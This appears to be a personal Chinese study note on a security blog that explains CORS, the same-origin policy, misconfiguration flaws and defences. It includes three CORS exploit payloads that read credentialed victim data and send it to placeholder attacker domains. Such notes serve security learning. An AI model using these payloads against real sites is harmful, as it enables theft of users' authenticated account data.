某不知名博客 某不知名博客
首页
  • 《vulcat文档》
  • Web安全

    • 《BurpSuite及官方实验室》
    • 《OSWE学习历程》
  • 云原生安全

    • 《Docker命令大全》
    • 《CKS考试学习指南》
    • 《旧-Kubernetes教程》
漏洞库
  • 《渗透工具大全》
  • 《云安全》
事件库
关于
  • 分类
  • 标签
  • 归档
GitHub (opens new window)

Carsaid

安全界的小学生
首页
  • 《vulcat文档》
  • Web安全

    • 《BurpSuite及官方实验室》
    • 《OSWE学习历程》
  • 云原生安全

    • 《Docker命令大全》
    • 《CKS考试学习指南》
    • 《旧-Kubernetes教程》
漏洞库
  • 《渗透工具大全》
  • 《云安全》
事件库
关于
  • 分类
  • 标签
  • 归档
GitHub (opens new window)
  • 前言

  • 服务器端主题(翻译)

  • 客户端主题(翻译)

  • 高级主题(翻译)

  • 扩展阅读(翻译)

  • 个人学习笔记

    • 说明
    • 笔记-服务端主题

    • 笔记-客户端主题

      • XSS笔记
      • CSRF笔记
      • CORS笔记
        • CORS 和 SOP基本知识
          • 1、什么是CORS(跨域资源共享)?
          • 2、什么是同源策略?
          • 3、为什么需要同源策略?
          • 4、同源策略是如何实现的?
          • 5、为什么要使用CORS来放宽同源策略,不放宽不行吗?
          • 6、网站如何实现CORS策略?
          • 7、CORS有哪些规范约束?
          • 8、CORS能否作为CSRF漏洞的一种防范措施?
        • CORS配置错误时产生的漏洞
          • 1、有哪些类型的CORS漏洞?
          • 2、CORS漏洞有哪些载荷?
        • CORS防护
          • 1、如何防范基于CORS的攻击
      • 点击劫持笔记
      • 基于DOM的漏洞笔记
      • WebSockets笔记
    • 笔记-高级主题

  • 实验室做题记录

  • BurpSuite及官方实验室
  • 个人学习笔记
  • 笔记-客户端主题
carsaid
2023-10-14
目录

CORS笔记

个人总结

参考:https://portswigger.net/web-security/cors

- name: 个人总结
  desc: 参考:https://portswigger.net/web-security/cors
  bgColor: '#F0DFB1'
  textColor: 'green'
1
2
3
4

# CORS笔记

# 1CORS 和 SOP基本知识

# 1、什么是CORS(跨域资源共享)?

答案

CORS(跨域资源共享)是一种浏览器机制,用于放宽同源策略的限制,对跨域资源进行受控访问。

  • CORS 本身并不是安全漏洞,但是当 CORS 配置错误的时候,就有可能产生漏洞。
  • CORS 也不是安全保护措施,因为它是用于放宽限制的,甚至可以说它是危害措施。

# 2、什么是同源策略?

答案

同源策略(SOP,Same Origin Policy)是一种浏览器安全机制,用于防止网站之间相互攻击。当一个网站 向 另一个网站发起请求时,发起请求的网站被称为 “源”。如果源网站 想读取 目标网站上的数据,则必须满足三个条件:

  • 两个网站的协议相同
  • 两个网站的域名相同
  • 两个网站的端口相同

# 3、为什么需要同源策略?

答案

当浏览器从一个源 向 另一个源发送 HTTP 请求时,与另一个域相关的任何 Cookie(包括身份验证会话Cookie)也会作为请求的一部分发送。这意味着,响应信息将会在用户的会话中生成,并在其中包含特定于用户的任何相关数据。

举个例子,如果没有了同源策略:

  • 某天,你的浏览器打开了百度,并且登录了你的百度账户。
  • 然后,你访问了一个第三方网站,该网站上放置了 JavaScript 恶意代码。
  • 在你不知情的时候,这些恶意 JavaScript 让你的浏览器偷偷发起了请求,访问了百度的个人信息页面,盗取了你的全部账户信息。

在这个例子中:

  • 你登录了百度账户,浏览器有百度的 Cookie
  • 你访问了恶意网站,网站偷偷向百度发起了请求
  • 你 -->--> 恶意网站 -->--> 百度
  • 恶意请求是由 JavaScript 发起的,而 JavaScript 是在你的浏览器中运行的
  • 所以你的浏览器以为是你在请求百度,浏览器自动为恶意请求填充了百度的 Cookie

# 4、同源策略是如何实现的?

答案

主要针对的是 JavaScript:

  • 允许跨域加载页面资源,例如<img>标签加载图像资源,<video>标签加载视频资源等。
  • 不允许 JavaScript 对跨域资源的任何访问。例如,虽然<img>可以跨域加载资源,但 JavaScript 无法读取<img>具体加载了什么内容。

# 5、为什么要使用CORS来放宽同源策略,不放宽不行吗?

答案

由于现代网站的复杂性,许多网站都需要与 子域或第三方网站 进行数据交互,这要求跨域访问。同源策略对跨域请求的限制非常严格,因此人们通过 CORS 来控制性地放宽同源策略,以此满足业务上的需求。

# 6、网站如何实现CORS策略?

答案

使用一套响应标头来实现 CORS 的策略:

  • Access-Control-Allow-Origin响应标头:允许一个请求源,例如Access-Control-Allow-Origin: https://www.example.com
  • Access-Control-Allow-Credentials响应标头:标头的默认值为false;当设置为true时,将允许在请求中包含凭据(例如 Cookie)
  • Access-Control-Allow-Methods响应标头:只允许使用列出的请求方法,多个方法之间使用逗号分隔
  • Access-Control-Allow-Headers响应标头:允许使用列出的自定义请求头,多个请求头之间使用逗号分隔
  • Access-Control-Max-Age响应标头:规定了 缓存预检响应 的最大重发时间范围

示例:

...
Access-Control-Allow-Origin: https://www.example.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Special-Request-Header
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240
1
2
3
4
5
6

# 7、CORS有哪些规范约束?

答案
  • Access-Control-Allow-Origin响应标头允许使用通配符*,但是通配符只能单独使用,不能在任何其他值中使用。例如Access-Control-Allow-Origin: https://*.example.com是不允许的。
  • 通配符规则Access-Control-Allow-Origin: *不允许和Access-Control-Allow-Credentials: true一起使用,因为这会 向所有人公开 网站上任何经过身份验证的内容。这是极其不安全的,所以当这两个策略一起使用时,它们会被阻止。

# 8、CORS能否作为CSRF漏洞的一种防范措施?

答案

不能,因为 CORS 不提供针对 CSRF 的保护。此外,如果 CORS 配置错误的话,反而可能增加 CSRF 攻击的可能性,或者加剧 CSRF 的影响。

  • 配了,不能防止 CSRF 漏洞
  • 配错了,反而还会增加 CSRF 漏洞的危害

# 2CORS配置错误时产生的漏洞

# 1、有哪些类型的CORS漏洞?

答案
  • 客户端指定的 Origin 标头可用于动态生成服务端的 ACAO 标头;
  • 解析 Origin 标头时出错(域名的开头 / 结尾欺骗);
  • 受信任的 null 源;
  • 子域上存在 XSS 漏洞,利用 CORS 信任关系来攻击其他域(同时,如果主域使用了https,但子域使用了普通的http:协议,则可以破坏主域上的 TLS 加密);
  • 内网中的 CORS 无需凭据。

# 2、CORS漏洞有哪些载荷?

答案

标准载荷(会自动添加请求标头Origin,参数值为当前站点):

var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get', 'https://<受攻击的域>.com/sensitive-victim-data', true);
req.withCredentials = true;
req.send();

function reqListener() {
   location='//<恶意域>.com/log?key='+this.responseText;
};

1
2
3
4
5
6
7
8
9
10

沙箱iframe跨域请求(包含 null 源):

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','<受攻击的域>/sensitive-victim-data',true);
req.withCredentials = true;
req.send();

function reqListener() {
location='malicious-website.com/log?key='+this.responseText;
};
</script>"></iframe>

1
2
3
4
5
6
7
8
9
10
11
12

利用受信任子域上的 XSS 漏洞(包含子域源):

window.location = "http://<子域>.<受攻击的域>/?xss=<script>function reqListener() {window.location = '//<恶意域>/log?key=' + this.responseText;}var req = new XMLHttpRequest();req.onload = reqListener;req.withCredentials = true;req.open('GET', '//<受攻击的域>/sensitive-victim-data', true);req.send();</script>";
1

# 3CORS防护

# 1、如何防范基于CORS的攻击

答案
  • 一、不要动态生成Access-Control-Allow-Origin响应标头,应该在服务器端配置固定值;
  • 二、只允许白名单中指定的源;
  • 三、不使用null源,白名单中也不要有null的存在;
  • 四、在内网中尽量不使用通配符*源;
  • 五、CORS 只是一种浏览器机制,不能充当安全防护策略,更不能作为服务器端的安全防护策略。
编辑 (opens new window)
CSRF笔记
点击劫持笔记

← CSRF笔记 点击劫持笔记→

最近更新
01
API测试笔记
04-30
02
msfvenom
03-29
03
Metasploit
03-29
更多文章>
Theme by Vdoing | Copyright © 2023-2024 Carsaid | MIT License
  • 跟随系统
  • 浅色模式
  • 深色模式
  • 阅读模式